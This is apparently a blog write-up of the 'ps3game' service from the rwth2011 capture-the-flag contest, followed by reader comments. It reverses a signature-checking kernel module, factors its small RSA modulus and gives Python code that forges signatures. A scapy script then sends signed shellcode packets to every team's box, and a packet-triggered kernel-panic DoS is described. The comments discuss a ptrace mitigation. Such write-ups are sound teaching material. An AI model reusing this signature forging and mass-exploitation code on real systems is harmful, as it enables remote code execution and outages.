This service was on exploiting, understanding udp protocol and process of sign data.
ps3game files
Summary: reversing, crypto, rsa, tea hash, udp sign
First of all thanks hellman and kyprizel who help me to analyze this service.
There are two main binary files. First usermode executable file is ps3game which source code was available for team. This binary file can execute all code from incoming udp packet. This is function which executes code:
void execute_gamepiece(char * gamepiece, size_t gamepiece_length) { char * gamearea = mmap(0, g_page_size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); int res; if(gamearea == MAP_FAILED) { ERROR("Could not map payload region"); return; } gamearea[0] = 0x90; memcpy(&gamearea[1], gamepiece, gamepiece_length); memset(&gamearea[gamepiece_length + 1], 0xc3, g_page_size - gamepiece_length - 1); res = ((int (*)(void *, void *, void *)) gamearea) (store_flag, retrieve_flag, send_response); munmap(gamearea, g_page_size); } |
But service would be so easy and boring if you could just execute all code which you need =)
For make service hard developers create second module – defense kernel module codeserv.ko (without source code). This module analyzes traffic on low level and passes only signed udp packet.
How does it work? Try to describe:
- Driver hooks __udp4_lib_rcv function
init_module proc .text:0000000000000050 push rbp .text:0000000000000051 mov rdx, cs:sym_udp_protocol .text:0000000000000058 mov rbp, rsp .text:000000000000005B test rdx, rdx .text:000000000000005E jz short loc_8F .text:0000000000000060 cli .text:0000000000000061 mov rax, cr0 .text:0000000000000064 and rax, 0FFFFFFFFFFFEFFFFh .text:000000000000006A mov cr0, rax .text:000000000000006D mov rax, [rdx] .text:0000000000000070 mov cs:udp_rcv_orig, rax .text:0000000000000077 mov qword ptr [rdx], offset udp_rcv .text:000000000000007E mov rax, cr0 .text:0000000000000081 or rax, 10000h .text:0000000000000087 mov cr0, rax .text:000000000000008A sti .text:000000000000008B xor eax, eax .text:000000000000008D leave .text:000000000000008E retn .text:000000000000008F .text:000000000000008F loc_8F: .text:000000000000008F mov rdi, offset a3CodeservNoAdd ; .text:0000000000000096 xor eax, eax .text:0000000000000098 call printk .text:000000000000009D mov eax, 0FFFFFFF2h .text:00000000000000A2 leave .text:00000000000000A3 retn .text:00000000000000A3 init_module endp |
- Driver analyzes input udp packet on port 9000 (ps3game listens to this port) . If packet is not “signed” it drops it.
Kernel module parses structure sk_buff, finds a sign and check it
skbuffs are the buffers in which the linux kernel handles network packets. The packet is received by the network card, put into a skbuff and then passed to the network stack, which uses the skbuff all the time.
There are some interesting fields and structures in sk_buff:
struct udphdr { __be16 source; __be16 dest; __be16 len; // it is size // of payload of udp packet __sum16 check; }; |
struct sk_buff has two interesting for us field too. Threre are len and data_len.
If you google a little you will find that information:
- If skb is linear (i.e., skb->data_len == 0), the length of skb->data is skb->len.
- If skb is not linear (i.e., skb->data_len != 0), the length of skb->data is (skb->len) – (skb->data_len).
In our case skb is not linear and skb->data = (skb->len) – (skb->data_len)
And here the most interested place, in hooked_udp4_lib_rcv program checks condition:
If (((skb.len) - (skb.data_len)) == udphdr.len + 10h) { If (codeserv_verify_rsa( skb.data, // pointer to payload of udp packet udphdr.len, // size of payload of udp packet (void*)(skb.data + udphdr.len) // 0x10 bytes between end of payload // and end of skb->data. ) != -1) { orig_udp4_lib_rcv() } else { // exit and drop packet } } |
There are 0x10 bytes which are encrypted by rsa hash of payload of udp packet.
It means that if we understand what hash used by rsa and how to sign packet we can create our udp packet and execute any code on victim system.
We reconstract two crypto function:
- hash_tea
- sign rsa crypto function
__u64 hash_tea(const unsigned char *data, int len) { uint32_t a, b, c, d; uint32_t b0, b1; b0 = *(uint32_t*)&data[8]; b1 = *(uint32_t*)&data[8+4]; for (int i = 8; i < len; i += 0x10) { uint32_t sum = 0; a = *(uint32_t*)&data[i]; b = *(uint32_t*)&data[i+4]; c = *(uint32_t*)&data[i+8]; d = *(uint32_t*)&data[i+0xc]; do { sum -= 0x61C88647; b0 += ((b1 << 5)+b); b1 += ((b0 << 5)+d); } while(sum != 0x0C6EF3720); } return b0|(b1<<0x20); } |
From function codeserv_verify_rsa we can get modulus (it is 908A8003CF08FB31h) and factorize it to get p and q
n = 908A8003CF08FB31h = 10415277842094422833
so Number 10415277842094422833 Factorization: 3003703709*3467478437
Now we can write sign function:
def rsa_sign(b0, b1): p = 3003703709 q = 3467478437 n = p * q fi = (p - 1) * (q - 1) e = 0x10001 d = invmod(e, fi) % n sys.stdout.write(n2s(pow( b0, d, n ))[::-1]) sys.stdout.write(n2s(pow( b1, d, n ))[::-1]) |
And last step was to create udp packet and exploit all team, because there isn’t defense against this attack!
from scapy.all import * def pwn(oc, new_payload, new_sig): pkts = rdpcap('new_port.pcap') for pkt in pkts: if pkt.dport == 9000: smac = pkt.src dmac = pkt.dst pkt.src = dmac pkt.dst = smac pkt[IP].src='10.11.70.2' pkt[IP].dst='10.11.%d.2'%oc sig = str(pkt[Padding]) payload = str(pkt[Raw])[:-16] pkt.show2() packet = str(pkt).replace(payload, new_payload)\ .replace(sig, new_sig) pkt = IP(packet) del pkt[IP].chksum del pkt[UDP].chksum pkt.show2() send(pkt) if __name__ == '__main__': payload = open('payload','rb').read() sig = open('signature','rb').read() for x in xrange(2, 78): if x in [70,]: continue pwn(x, payload, sig) |
At last we got shell at each vulnbox which has ps3game up.
But, while our team is focused on the classic CTF and attacked the other teams it turned out that to win this is absolutely not necessary. Challenges gave a maximum point, and for win you could just solve them and did nothing about rest CTF. I think there is a little disbalance in this kind of rule.
Anyway thanks 0ldEur0pe CTF team for interesting game!
P.S.
Also analyzing a driver module we found possibility to remote DoS attack. If you sand udp packet with sign hash in which all bits is set 1 it will be integer overflow in kernel module and system down with kernel panic.
After demonstration we sold this knowledge to orgs (because first time they didn’t believe us) and never used this attack again, although some of you might felt this demonstration to yourself. =)
7 comments
1 ping
Skip to comment form
Hi,
gratz to your nice solution.
I just want to remark that there is indeed the possibilty to provide some kind of fix against this attack type in the service.
The basic idea was already prepared in the ps3game program and is based on the linux ptrace api. The program which executes the code which was sent over the network is run in ptrace mode such that it gets stopped on syscalls. Now the monitor process can check on the syscall and e.g. prevent exec syscalls by stopping the program on these calls. Or you could prevent all syscalls which do not origin from the three provided flag accessor functions …
Congratulations on 3rd place! Can we expect more writeups? :)
it would be good to hear more from that remote DoS 0day :D
Hey guys, nice writeup :-)
We also did a writeup on this challenge, it focuses less on the network packets and more on the crypto so I think it’s a nice addition:
http://eb.haxx.in/?p=148
Greetings,
Reinhart (team Eindbazen)
Author
Thanks for link! Interesting writeup too =)
Nice write-up, congratulations on the DoS! It was unintentional. How did you find it?
We just luckily put ffffffffffff in signature, and unluckily tested it on our box xD
We saw it down, and that is
[…] rwth2011 CTF (ps3game): writeup […]